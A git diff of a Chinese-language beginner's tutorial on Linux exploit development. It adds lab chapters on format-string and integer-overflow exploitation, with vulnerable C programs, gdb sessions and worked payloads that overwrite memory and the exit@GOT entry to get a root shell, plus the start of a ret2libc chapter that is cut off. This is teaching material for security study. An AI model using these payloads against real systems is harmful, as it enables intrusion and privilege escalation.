diff --git a/Makefile b/Makefile deleted file mode 100644 index 698c167..0000000 --- a/Makefile +++ /dev/null @@ -1,18 +0,0 @@ -Index = "index" -Tex = ".tex" -Aux = ".aux" - -all: compile clean - -compile: - xelatex $(Index)$(Tex) - bibtex $(Index)$(Aux) - xelatex $(Index)$(Tex) - xelatex $(Index)$(Tex) - -clean: - $(RM) -rf *.log *.aux *.toc *.bbl *.bbg *.blg *.out */*.aux auto - -.PHONY:clean_all -clean_all: - $(RM) -rf *.log *.aux *.toc *.bbl *.bbg *.blg *.out */*.aux auto diff --git a/README-zh.md b/README-zh.md deleted file mode 100644 index 817a8a8..0000000 --- a/README-zh.md +++ /dev/null @@ -1,56 +0,0 @@ -# linux exploit development tutorial - -## 这是什么? - -这是面向新手的 linux exploit 开发指南. - -测试机器是 ubuntu 14.04 的默认安装. - -*其他语言阅读 readme: [English](README.md), [简体中文](README-zh.md).* - -## 如何组织的? - -### 第一章节: 基础至少 - -基础部分知识比如: 栈与堆分别是什么? c 语言如何转换成汇编? 内存布局是什么样的? ... - -基础的安全知识如: 什么是堆栈溢出? 堆分配器是如何工作的?... - -### 第二章节: 栈的安全 - -主要关注在现代 linux 上栈的安全防护机制及其绕过的常规套路. - -### 第三章节: 堆的安全 - -主要关注在现代 linux 上 glibc 下堆的安全防护机制及其绕过的常规套路. - -### 第四章节: 内核的安全 - -主要关注在现代 linux (2.6.32)及其以后版本的内核本身的安全机制与内核提供给用户态的安全机制. - -### 第五章节: 漏洞发现 - -(WIP) - -这个章节对我来说目前也是一个新领域. - -## 如何修改和更新 ? - -```shell -sudo dnf install texlive-\* -y -git clone git@github.com:hardenedlinux/linux_exploit_development_tutorial.git -cd linux_exploit_development_tutorial -make # preview -``` - -## 如何实践文档代码 ? - -(WIP) - -源代码会陆续放到`lab-code`目录中,其实更倾向于提供一个虚拟机镜像供下载. - -... - -## 版权 - -这个项目是以 知识共享署名-相同方式共享 3.0 许可协议授权. diff --git a/README.md b/README.md index 1cd599d..9575646 100644 --- a/README.md +++ b/README.md @@ -1,54 +1,66 @@ -# linux exploit development tutorial +# linux exploit 开发入门 -## What's this ? +## 这是什么? -A series tutorial for linux exploit development to newbie. +这是面向新手的 linux exploit 开发指南. -The test machine is ubuntu 14.04 which was default install. +发现 Linux 下二进制学习曲线陡峭,而套路零散,于是整理编著这篇文章,来帮助感兴趣的人学习,还想结识更多对 Linux 二进制感兴趣的人. -*Read this in other languages: [English](README.md), [简体中文](README-zh.md).* +万事开头难,首先要感谢本文原来的的作者 sploitfun,他开始做了这件事并写出了思路,我在他的基础上进行了补充和翻译. -## How to organize ? +还要要感谢 phrack,乌云知识库,各种 wiki 上面文章的作者,这些作者和安全研究人员讲解了很多关于 exploit 相关技术,是大家的无私分享使很多东西变的可能,我也想把这样的分享精神学习来. -### chapter 1: Basic knowledge - -base knowledge like : what's stack and heap ? how convert c language to assembly language ? what's elf and memroy layout? etc.. +为了防止文档过于臃肿,我们讲分享讨论的话题尽量限制在 Linux,x86,ipv4 范围内,我们假设读者能正常使用 Linux,熟悉 C 语言,了解汇编语言,认识计算机专业词汇,基本体系结构知识(栈,堆,内存之类的).如果不能因为知识储备不够,推荐 0day 安全以补充背景知识. -base vulnerability problems like : what's is overflow and memory corruption ? how heap working ? etc... - -### chapter 2: Stack security - -this chapter focus userspace stack security mechanism and bypass. +测试机器是 ubuntu 14.04 的默认安装. -### chapter 3: Heap security - -this chapter focus the security mechanism of heap in modern linux. +## 目录 -### chapter 4: Kernel security +### 第一章节: [基础知识](./chapter1) -this chapter focus the mechanism security of modern linux kernel (2.6.32) and later +基础部分知识比如: 栈与堆分别是什么? c 语言如何转换成汇编? 内存布局是什么样的? ... -### chapter 5: Vulnerability discovery +基础的安全知识如: 什么是堆栈溢出? 堆分配器是如何工作的?... -(WIP) +这个阶段还要介绍基本的漏洞类型和安全机制,然后关闭全部的安全保护机制,学习如何在 Linux 下面编写最基本的 exp. + +### 第二章节: [栈的安全](./chapter2) + +主要关注在现代 linux 上栈的安全防护机制及其绕过的常规套路. + +分为两大类:编译相关(elf 加固),部分编译选项控制着生成更安全的代码(损失部分性能或者空间),还有就说运行时的安全(ASLR),都是为增加了漏洞利用的难度,不能从本质上去除软件的漏洞. + +### 第三章节: [堆的安全](./chapter3) + +主要关注在现代 linux 上 glibc 下堆的安全防护机制及其绕过的常规套路. + +### 第四章节: [内核的安全](./chapter4) + +这个阶段学习现代 linux (2.6.32)及其以后版本 kernel 安全相关的文档(安全保护,利用). + +在早期 kernel 可以随意访问用户态代码,ret2usr 技术可以让内核执行用户态的代码,不过随着 Linux 的发展 SMAP(禁止 kernel 随意访问用户态,RFLAGE.AC 标志位置位可以),SMEP 禁止 kernel 态直接执行用户态代码,kaslr 也提升了漏洞利用的难度。 + +### 第五章节: [漏洞发现](./chapter5) + +漏洞挖掘的重要性不言而喻,打个比喻上面写的如何吃肉,漏洞挖掘就是肉在哪里. -this chapter is a new filed to me. +这个章节对我来说目前也是一个新领域,在这个章节里面主要关注 fuzz 与 代码审计。 -## How to modify and update ? +## 如何修改和更新 ? ```shell -sudo dnf install texlive-\* -y git clone git@github.com:hardenedlinux/linux_exploit_development_tutorial.git cd linux_exploit_development_tutorial make # preview ``` -## How to hand on ? +## 如何实践文档代码 ? (WIP) -some source code in `lab-code`. +源代码会陆续放到`lab-code`目录中,其实更倾向于提供一个虚拟机镜像供下载. +... -## copyleft +## 版权 -This work is licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported License +这个项目是以 知识共享署名-相同方式共享 3.0 许可协议授权. diff --git a/chapter1/Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities.pdf b/chapter1/Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities.pdf new file mode 100644 index 0000000..60007d3 Binary files /dev/null and b/chapter1/Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities.pdf differ diff --git a/chapter1/README.md b/chapter1/README.md new file mode 100644 index 0000000..135b933 --- /dev/null +++ b/chapter1/README.md @@ -0,0 +1,5 @@ +# 基础知识 + +[MSc Computer Science Dissertation Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities](./Automatic\ Generation\ of\ Control\ Flow\ Hijacking\ Exploits\ for\ Software\ Vulnerabilities.pdf) + + diff --git a/chapter1/chapter_preparation.tex b/chapter1/chapter_preparation.tex deleted file mode 100644 index e780c24..0000000 --- a/chapter1/chapter_preparation.tex +++ /dev/null @@ -1,91 +0,0 @@ -\chapter{预备} -\par 在这个level 我将要花点时间给大家介绍基本的漏洞类型和安全机制,然后关闭全部的安全 - 保护机制,学习如何在Linux下面编写最基本的exp. - - \section{安全机制} - \par 分为两大类:编译相关(elf加固),部分编译选项控制着生成更安全的代码(损失部分性能或 - 者空间),还有就说运行时的安全,都是为增加了漏洞利用的难度,不能从本质上去除软件的 - 漏洞. - - \subsection{STACK CANARY} - \par Canary 是放置在缓冲区和控制数据之间的一个words被用来检测缓冲区溢出, 如果发生缓 - 冲区溢出那么第一个被修改的数据通常是canary,当其验证失败通常说明发生了栈溢出,更 - 多信息参考这里 - \footnote{\url{https://en.wikipedia.org/wiki/Buffer_overflow_protection\#Canaries}}. - \begin{lstlisting}[language=sh] - gcc -fstack-protector - \end{lstlisting} - - \subsection{NX} - \par 在早期,指令是数据,数据也是数据,当PC指向哪里,那里的数据就会被当成指令被cpu执行, - 后来NX标志位被引入来区分指令和数据.更 - 多信息参考这里\cite{Intel} -\footnote{<> volumes 3 section 4.6} -\footnote{\url{https://en.wikipedia.org/wiki/NX_bit}}. - - \begin{lstlisting}[language=sh] - gcc -z execstack - \end{lstlisting} - - - \subsection{FORTIFY} - \par 在编译和运行时候保护glibc: - \begin{list}{\textbullet}{% - \setlength\topsep{0pt} \setlength\partopsep{0pt} - \setlength\parsep{0pt} \setlength\itemsep{0pt} - } -\item expand unbounded calls to "sprintf", "strcpy" into their "n" - length-limited cousins when the size of a destination buffer is known - (protects against memory overflows). -\item stop format string "\%n" attacks when the format string is in a writable \% memory segment. -\item require checking various important function return codes and arguments (e.g.system, write, open). -\item require explicit file mask when creating new files. -\end{list} - \begin{lstlisting}[language=sh] - gcc -D_FORTIFY_SOURCE=2 -O - \end{lstlisting} - - \subsection{PIE} - -fPIC: - 类似于-fpic不过克服了部分平台对偏移表尺寸的限制. - 生成可用于共享库的位置独立代码。所有的内部寻址均通过全局偏移表(GOT)完成.要确 - 定一个地址,需要将代码自身的内存位置作为表中一项插入.该选项需要操作系统支持,因 - 此并不是在所有系统上均有效.该选项产生可以在共享库中存放并从中加载的目标模块. - 参考链接 - \footnote{\url{https://en.wikipedia.org/wiki/Position-independent_code\#PIE}}. - - -fPIE: - 这选项类似于-fpic与-fPIC,但生成的位置无关代码只可以链接为可执行文件,它通常的链 - 接选项是-pie. - \begin{lstlisting}[language=sh] - gcc -pie -fPIE - \end{lstlisting} - - \subsection{RELRO} -\par Hardens ELF programs against loader memory area overwrites by having the loader mark any areas of the relocation table as read-only for any symbols resolved at - load-time ("read-only relocations"). This reduces the area of possible - GOT-overwrite-style memory corruption attacks - \footnote{\url{http://blog.isis.poly.edu/exploitation\%20mitigation\%20techniques/exploitation\%20techniques/2011/06/02/relro-relocation-read-only/}}. - - \subsubsection{ASLR} - \footnote{\url{https://en.wikipedia.org/wiki/Address_space_layout_randomization}} - - \section{漏洞类型} - \subsection{栈溢出} - \subsection{整数溢出} - \subsection{off-by-one(stack base)} - \subsection{格式化字符串} - \%h(短写) - \%n\$d(直接参数访问) - \%n(任意内存写) - \%s(任意内存读) - - \section{Exp开发} - \subsection{rop} - nop seld + shellcode + ret - \subsection{.dtors(废弃)} - - \begin{lstlisting}[language=C] - static void cleanup() __attribute__((destructor)) - \end{lstlisting} - \subsection{覆写GOT} diff --git a/chapter2/README.md b/chapter2/README.md new file mode 100644 index 0000000..9b17d9c --- /dev/null +++ b/chapter2/README.md @@ -0,0 +1 @@ +# 栈的安全 diff --git a/chapter2/chapter_stack.tex b/chapter2/chapter_stack.tex deleted file mode 100644 index fef087d..0000000 --- a/chapter2/chapter_stack.tex +++ /dev/null @@ -1,31 +0,0 @@ -\chapter{stack} -\par 这个阶段可能要花点时间了,需要学习主流的bypass安全机制的部分手段(base -stack). -\par ret2any: 返回到任何可以执行的地方, 已知的地方 -\begin{list}{\textbullet}{% - \setlength\topsep{0pt} \setlength\partopsep{0pt} - \setlength\parsep{0pt} \setlength\itemsep{0pt} - } -\item stack -\item data/heap -\item text -\item library (libc) -\item code chunk (ROP) -\end{list} - -\section{CANARY} -\subsection{overwriting TLS} - -\section{NX} -\subsection{return-to-libc} -\footnote{\url{https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/}}.\newline -\subsection{chained return-to-libc} -\footnote{\url{https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-chained-return-to-libc/}}.\newline - -\section{ASLR} -\subsection{return-to-plt} -\footnote{\url{https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i/}}.\newline -\subsection{brute-force} -\footnote{\url{https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-ii/}}.\newline -\subsection{overwriting GOT} -\footnote{\url{https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/}}.\newline diff --git a/chapter2/format-strings.md b/chapter2/format-strings.md new file mode 100644 index 0000000..d38be43 --- /dev/null +++ b/chapter2/format-strings.md @@ -0,0 +1,262 @@ +# 0x00 beginning + +记录学习格式化字符串安全问题, 依然不启用安全机制 (NX, ALSR, CANARY), 主要实验部分参考 [^book1], 更多理论 [^stanford]. + +示例内存布局` printf("A is %d and is at %08x. B is %x.\n", A, &A, B) `: + + top of stack bottom of stack + |--address of format string--|--value of A--|--address of A--|--value of B--| + + +存在格式化字符串问题的示例代码如下: + +```c +/* + * gcc -fno-stack-protector -m32 -z execstack -o + */ +#include +#include +#include + +int main(int argc, char *argv[]) { + char text[1024]; + static int test_val = -72; + + if(argc < 2) { + printf("Usage: %s \n", argv[0]); + exit(0); + } + strcpy(text, argv[1]); + + printf("The right way to print user-controlled input:\n"); + printf("%s", text); + + printf("\nThe wrong way to print user-controlled input:\n"); + printf(text); + + printf("\n"); + + // Debug output + printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); + + exit(0); +} + +``` + +看见里面几个 % 格式化参数, 我们主要关注的格式化参数如下 (其余的不是特别关注): + + %h 把 int 转换为 signed char 或 unsiged char, 如果后面接 n 转换一个指针到 char. + %s 从内存中读取字符串 + %x 输出十六进制数 + %n 写入这个地方的偏移量 + +# 0x10 starting + +初步探索, 发现在 testing 后面接上一格式化字符串发现输出很奇怪的东西, 其实这个就是内存读取了, 结合着内存空间分别你可以知道读哪里. + +```shell +Sn0rt@warzone:~/lab$ ./fmt testing +The right way to print user-controlled input: +testing +The wrong way to print user-controlled input: +testing +[*] test_val @ 0x0804a030 = -72 0xffffffb8 +Sn0rt@warzone:~/lab$ ./fmt testing%x +The right way to print user-controlled input: +testing%x +The wrong way to print user-controlled input: +testingbffff270 +[*] test_val @ 0x0804a030 = -72 0xffffffb8 +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print "0%x8." * 10') +The right way to print user-controlled input: +0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8. +The wrong way to print user-controlled input: +0bffff2508.04c8.048.0387825308.07825302e8.025302e388.0302e38788.02e3878258.0387825308.07825302e8. +[*] test_val @ 0x0804a030 = -72 0xffffffb8 +``` + +## 0x11 arbitrary memory Read + +这个示例, 需要辅助程序来帮助读环境变量的内存地址, 辅助程序源码如下: + +```c +#include +#include +#include + +int main(int argc, char *argv[]) { + char *ptr; + + if(argc < 3) { + printf("Usage: %s \n", argv[0]); + exit(0); + } + ptr = getenv(argv[1]); /* get env var location */ + ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ + printf("%s will be at %p\n", argv[1], ptr); +} +``` + +利用`%s`可以从内存读取字符串, 以读取 PATH 为例子, 首先获取 PATH 的内存地址. + +```shell +Sn0rt@warzone:~/lab$ ./getaddr PATH fmt +PATH will be at 0xbffffe26 +``` + +然后构造格式化字符串 (注意 intel 小端序), 到 %s 落到`\x26\xfe\xff\xbf`上直到遇见 NULL 之前的数据按照字符串打印出来. + +```shell +Sn0rt@warzone:~/lab$ ./fmt $(printf "\x26\xfe\xff\xbf")%08x.%08x.%08x.%s +The right way to print user-controlled input: +&���%08x.%08x.%08x.%s +The wrong way to print user-controlled input: +&���bffff270.0000004c.00000004./local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games +[*] test_val @ 0x0804a030 = -72 0xffffffb8 + +``` + +读 $PATH 成功! + +## 0x12 arbitrary memory write-%x + +可以利用`%n`写其对应数据的位置到内存, 不过这个写方法还是蛮麻烦的, 参考<<灰帽黑客: 正义...>>[^book2]11.1.3 写入任意内存提供了一个魔幻公式. +我们以写入 0xddccbbaa 到 test_val 为例 + +```shell +Sn0rt@warzone:~/lab$ ./fmt $(printf "\x30\xa0\x04\x08")%x%x%156x%n +The right way to print user-controlled input: +0�%x%x%156x%n +The wrong way to print user-controlled input: +0�bffff2704c 4 +[*] test_val @ 0x0804a030 = 170 0x000000aa + +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08TEST\x31\xa0\x04\x08TEST\x32\xa0\x04\x08TEST\x33\xa0\x04\x08" + "%x%x%132x%n%17x%n%17x%n%17x%n")') +The right way to print user-controlled input: +0�TEST1�TEST2�TEST3�%x%x%132x%n%17x%n%17x%n%17x%n +The wrong way to print user-controlled input: +0�TEST1�TEST2�TEST3�bffff2404c 4 54534554 54534554 54534554 +[*] test_val @ 0x0804a030 =わ -ひく573785174 0xddccbbaa + +``` + +## 0x13 arbitrary memory write-direct parameter access + +`%Number$n`直接参数访问构造出来的 payload 相对与上面用一堆 %n 构造出来简洁一些, 依然写入`0xddccbbaa`. + +```shell +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n")') +The right way to print user-controlled input: +0�1�2�3�%154x%4$n +The wrong way to print user-controlled input: +0�1�2�3� bffff260 +[*] test_val @ 0x0804a030 = 170 0x000000AA + +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n" + "%17x%5$n" + "%17x%6$n" + "%17x%7$n")') +The right way to print user-controlled input: +0�1�2�3�%154x%4$n%17x%5$n%17x%6$n%17x%7$n +The wrong way to print user-controlled input: +0�1�2�3� bffff250 4c 4 804a030 +[*] test_val @ 0x0804a030 =わ -ひく573785174 0xddccbbaa +``` + +## 0x14 arbitrary memory write-%h + +利用`%h`可以把 payload 构造更加简洁, 而且一次写入两个字节, 这个具体计算方法就是那个魔法公式. +引用 printf 手册: + +> h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds +to a pointer to a short int argument. + +如法炮制, 写入`0xddccbbaa`到 test_val. + +```shell +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x32\xa0\x04\x08" + "%43699x%4$hn" + "%13073x%5$h")') +.... +[*] test_val @ 0x0804a030 =わ -ひく857888069 0xddccaabb +``` + +# 0x20 using + +既然我们能写内存, 那么就能写入到一些关键的地方, 来控制程序的流向. + +## 0x21 .dtors + +思路 1,.dtors 类似于 C++ 里面构造函数, 函数声明成这个样子`static void func(void) __attribute__ ((destructor))`就类似与 C++ 里面析构函数, 我们打算把 shellcode 放到环境变量里面, 然后利用格式化字符串覆写_DTOR_END_, 按照设计程序会在退出时候调用`exit()`且在 exit() 返回前, 会去调用_DTOR_END_地址的函数, 用 shellcode 在内存里面的地址覆盖掉_DTOR_END_就能 exit() 返回前执行 shellcode. +不过这个新版本的 gcc 生成链接代码的时候生成的 ELF 里面已经没有_DTOR_LIST_与_DTOR_LIST_字段了, 不过现在有了新的目标 + +```shell +objdump -h -j .fini_array fmt +``` + +## 0x22 overwrite GOT + +思路 2: 类似覆盖.dtors, 利用格式化字符串漏洞把 exit()@plt 覆写为 shellode 的环境变量里面的地址, 程序在原来调用 exit() 地方就会转跳到 shellcode 上执行. + +做法, 首先需要把 shellcode 放置到环境变量里面, 后获取其地址,shellcode[下载](../media/attach/shellcode.bin). 这个 shellcode 是 setuid(0) 然后 execve(), 所有要对有 suid 位的程序使用, 如果非 suid 则 setuid(0) 调用失败. + +```shell +Sn0rt@warzone:~/lab$ sudo chown root:root fmt +Sn0rt@warzone:~/lab$ sudo chmod u+s fmt +Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin) +Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./fmt +SHELLCODE will be at 0xbffff84a +``` + +打算把 exit() 地址覆写为 shellcode 地址, 这个地方利用魔法公式计算一下 + +```shell +Sn0rt@warzone:~/lab$ objdump -R fmt + +fmt: file format elf32-i386 + +DYNAMIC RELOCATION RECORDS +OFFSET TYPE VALUE +... +0804a01c R_386_JUMP_SLOT exit +0804a020 R_386_JUMP_SLOT __libc_start_main +0804a024 R_386_JUMP_SLOT putchar + +Sn0rt@warzone:~/lab$ python +... +>>> 0xbfff - 8 +49143 +>>> 0xf84a - 0xbfff +14411 + +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x1e\xa0\x04\x08" + "\x1c\xa0\x04\x08" + "%49143x%4$hn" + "%14411x%5$hn")') +... +[*] test_val @ 0x0804a030 = -72 0xffffffb8 +sh-4.3# exit +``` + +# 0x03 limit + +虽然这样覆盖`exit()`成功了, 但是如果开启了 NX 这样的方法就不行了, 一个原因就是 $SHELLCODE 放在环境变量里面, 环境变量 stack 上 (具体还是有点区分的),NX 是不允许里面 [stack] 有 x 的. + +```shell +Sn0rt@warzone:~/lab$ gdb fmt +Reading symbols from fmt...(no debugging symbols found)...done. +gdb-peda$ b main +Breakpoint 1 at 0x80484e0 +... +gdb-peda$ r +... +gdb-peda$ searchmem "SHELLCODE" +Searching for 'SHELLCODE' in: None ranges +Found 1 results, display max 1 items: +[stack] : 0xbffff88d ("SHELLCODE=1300円061円333円061円ə260円244円̀j\vXQh//shh/bin211円343円Q211円342円S211円341円̀") +... +gdb-peda$ vmmap +Start End Perm Name +0x08048000 0x08049000 r-xp /home/Sn0rt/lab/fmt +... +0xbffdf000 0xc0000000 rwxp [stack] +``` + +### reference + +[^book1]: <> +[^book2]: <<灰帽黑客: 正义黑客的道德规范, 渗透测试, 攻击方法和漏洞分析技术>> +[^stanford]: [Exploiting Format String Vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf) diff --git a/chapter2/integer-overflow.md b/chapter2/integer-overflow.md new file mode 100644 index 0000000..bb9da31 --- /dev/null +++ b/chapter2/integer-overflow.md @@ -0,0 +1,183 @@ + 0x00 beginning + +依然是在 Ubuntu14.04 上面关闭安全保护机制, 实验代码取自 [^origin], 更多信息 [^phrack]. + +>什么是整数溢出? + +存储的值超过类型系统最大的表示范围叫`interger overflow`, 小于其最小表示范围叫`interger underflow`, 整数溢出一般不会直接导致任意代码执行, 但是会导致栈或者堆溢出间接引发任意代码执行, 本笔记打算`interger overflow`导致`stack overflow`来说明问题. + +>类型系统与其的表示范围? + +当我们存储值到变量里面, 这个在类型语言里面 (c, c++, python, haskell...) 这个变量表示是有范围限制的, 比如当我们打算存 2147483648 到`signed int`类型变量里面, 在 32 位系统上面其表示最大值是`2^31-1`存储这样的值就会导致`integer overflow`,`unsigned int`类型其表示范围是`2^32-1`到`0`, 当存储值小于最小表示下届时候, 发生`integer underflow`. + +存在问题示例代码: + +```c + +/* filename: vuln.c + * gcc -g -fno-stack-protector -z execstack -o vuln vuln.c + */ +#include +#include +#include + +void store_passwd_indb(char* passwd) { +} + +void validate_uname(char* uname) { +} + +void validate_passwd(char* passwd) { + char passwd_buf[11]; + unsigned char passwd_len = strlen(passwd); /* [1] */ + if(passwd_len>= 4 && passwd_len <= 8) { /* [2] */ + printf("Valid Password\n"); /* [3] */ + fflush(stdout); + strcpy(passwd_buf,passwd); /* [4] */ + } else { + printf("Invalid Password\n"); /* [5] */ + fflush(stdout); + } + store_passwd_indb(passwd_buf); /* [6] */ +} + +int main(int argc, char* argv[]) { + if(argc!=3) { + printf("Usage Error: \n"); + fflush(stdout); + exit(-1); + } + validate_uname(argv[1]); + validate_passwd(argv[2]); + return 0; +} + +``` + +标号 [1] 处显示了一个`integer overflow`,`strlen()`返回值类型是 size_t (ubuntu 下面定义为 unsigned int), 但是例子代码处用来存储的是个`char`,`char`是 8bit 显然是不能存储超过`2^8-1`, 超出表示的部分虽然会被截断 (虽然 strlen() 能正确找出, 长度 eax 寄存器也能保存, 但是放到`password_len`变量过程中导致问题), 但是如果我们把第二个参数控制在 255+5 到 255+8 之间这样就能 bypass 下面的 if 检查, 这样可以导致基于栈的缓冲区溢出! + +# 0x10 analysis + +分析密码验证, 输入 256 就已经超越了 char 的表示范围, 可以看下面分析过程观察两次输入的`eax 寄存器`, 但这个程度只能算是一个小 bug. + +```shell +gdb-peda$ r Sn0rt $(python -c 'print "A" * 256') +gdb-peda$ b validate_passwd +[-------------------------------------code-------------------------------------] + 0x804850d : mov eax,DWORD PTR [ebp+0x8] + 0x8048510 : mov DWORD PTR [esp],eax + 0x8048513 : call 0x80483e0 +=> 0x8048518 : mov BYTE PTR [ebp-0x9],al + 0x804851b : cmp BYTE PTR [ebp-0x9],0x3 + 0x804851f : jbe 0x8048554 + 0x8048521 : cmp BYTE PTR [ebp-0x9],0x8 + 0x8048525 : ja 0x8048554 +... +gdb-peda$ info registers al +al 0xff 0xff +... +gdb-peda$ b validate_passwd +... +gdb-peda$ r Sn0rt $(python -c 'print "A" * 256') +... +EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x804850d : mov eax,DWORD PTR [ebp+0x8] + 0x8048510 : mov DWORD PTR [esp],eax + 0x8048513 : call 0x80483e0 +=> 0x8048518 : mov BYTE PTR [ebp-0x9],al + 0x804851b : cmp BYTE PTR [ebp-0x9],0x3 + 0x804851f : jbe 0x8048554 + 0x8048521 : cmp BYTE PTR [ebp-0x9],0x8 + 0x8048525 : ja 0x8048554 +... +gdb-peda$ info registers al +al 0x0 0x0 +``` + +因为下面 cmp 检查了`strlen()`的返回值的长度所以: + +```shell +[----------------------------------registers-----------------------------------] +EAX: 0x103 +... +EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x804850d : mov eax,DWORD PTR [ebp+0x8] + 0x8048510 : mov DWORD PTR [esp],eax + 0x8048513 : call 0x80483e0 +=> 0x8048518 : mov BYTE PTR [ebp-0x9],al + 0x804851b : cmp BYTE PTR [ebp-0x9],0x3 + 0x804851f : jbe 0x8048554 + 0x8048521 : cmp BYTE PTR [ebp-0x9],0x8 + 0x8048525 : ja 0x8048554 +[------------------------------------stack-------------------------------------] +``` +这样是构造出绕过 if 检查的方式, 但是导致了 crash. + +# 0x20 prepare + +寻找一下哪里覆盖 eip. + +```shell +gdb-peda$ pattern_arg 2 262 +Set 2 arguments to program +gdb-peda$ r +... +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +... +EIP: 0x41414441 ('ADAA') +... +gdb-peda$ r AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)') +Starting program: /home/Sn0rt/lab/vuln AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)') +Valid Password + +Program received signal SIGSEGV, Segmentation fault. +... +EIP: 0x42424141 ('AABB') +... +gdb-peda$ r AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)') +Starting program: /home/Sn0rt/lab/vuln AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)') +Valid Password + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0xbffff584 ('A' , "BBBB", 'C' ...) +EBX: 0xb7fcd000 --> 0x1a9da8 +ECX: 0xbffff8a0 ("CCCCCCC") +EDX: 0xbffff682 ("CCCCCCC") +ESI: 0x0 +EDI: 0x0 +EBP: 0x41414141 ('AAAA') +ESP: 0xbffff5a0 ('C' ...) +EIP: 0x42424242 ('BBBB') +``` + +大体上构造完成, 把 BBBB 写入 eip, 然后正式准备一下使用 ROP 技术, 构造一下 exp. + +```shell +Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin) +Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./vuln +SHELLCODE will be at 0xbffff848 +Sn0rt@warzone:~/lab$ ./vuln AA $(python -c 'print "A" * 24 + "\x48\xf8\xff\xbf" + "C" * (261-4-24)') +Valid Password +sh-4.3$ id +uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt) +sh-4.3$ +``` + +初步利用完成! + +# 0x40 reality + +## 0x41 CVE-2012-0711 + +>Integer signedness error in the db2dasrrm process in the DB2 Administration Server (DAS) in IBM DB2 9.1 through FP11, 9.5 before FP9, and 9.7 through FP5 on UNIX platforms allows remote attackers to execute arbitrary code via a crafted request that triggers a heap-based buffer overflow. + +这个 CVE 是`Integer Signedness`导致堆溢出后发生任意代码执行, 待我学习到 heap 部分时候, 尝试来分析一下这个漏洞. + +### reference + +[^phrack]: [Phrack 0x0b, Issue 0x3c, Phile #0x0a of 0x10](http://phrack.org/issues/60/10.html) +[^origin]: [sploitfun](https://sploitfun.wordpress.com/2015/06/23/integer-overflow/) diff --git a/chapter2/linux-x86-ret2libc.md b/chapter2/linux-x86-ret2libc.md new file mode 100644 index 0000000..06fe0dd --- /dev/null +++ b/chapter2/linux-x86-ret2libc.md @@ -0,0 +1,173 @@ +# 0x00 beginning + +记录一下学习 ret2libc[^phrack][^wooyun] 的过程, 存在在缓冲区溢出的 C 代码例子. + +```c +/* +* gcc -fno-stack-protector -m32 -o level1 stack.c +*/ +#include +#include +#include + +void vulnerable_function() { + char buf[128]; + read(STDIN_FILENO, buf, 256); +} + +int main(int argc, char** argv) { + vulnerable_function(); + write(STDOUT_FILENO, "Hello, World\n", 13); +} +``` + +也可以下载现成的 [Target](https://github.com/zhengmin1989/ROP_STEP_BY_STEP/raw/master/linux_x86/level2), 工具依然是 peda 与 pwn 库, 验证一下安全机制的开启. + +``` +gdb-peda$ checksec +CANARY : disabled +FORTIFY : disabled +NX : ENABLED +PIE : disabled +RELRO : Partial +``` + +# 0x01 challenge + +因为开启了 NX,stack 权限不一样, 本来 level1 上面的是可以执行的, 现在 x 权限拿掉了即使 rop 成功, 把 eip 放到栈上也会应为权限问题导致失败, 可以看见 level2 的 stack 是 rw,level1 的是 rwx. + +```shell +Sn0rt@warzone:~/lab$ gdb level1 +gdb-peda$ vmmap +Start End Perm Name +0x08048000 0x08049000 r-xp /home/Sn0rt/lab/level1 +... +0xbffdf000 0xc0000000 rwxp [stack] + +Sn0rt@warzone:~/lab$ gdb level2 +gdb-peda$ vmmap +Start End Perm Name +0x08048000 0x08049000 r-xp /home/Sn0rt/lab/level2 +... +0xbffdf000 0xc0000000 rw-p [stack] +``` + +# 0x02 solution + +可以看见 level2 的是使用了 libc 的. + +```shell +Sn0rt@warzone:~/lab$ ./level2 +gdb-peda$ vmmap +Start End Perm Name +... +0xb7e23000 0xb7fcb000 r-xp /lib/i386-linux-gnu/libc-2.19.so +0xb7fcb000 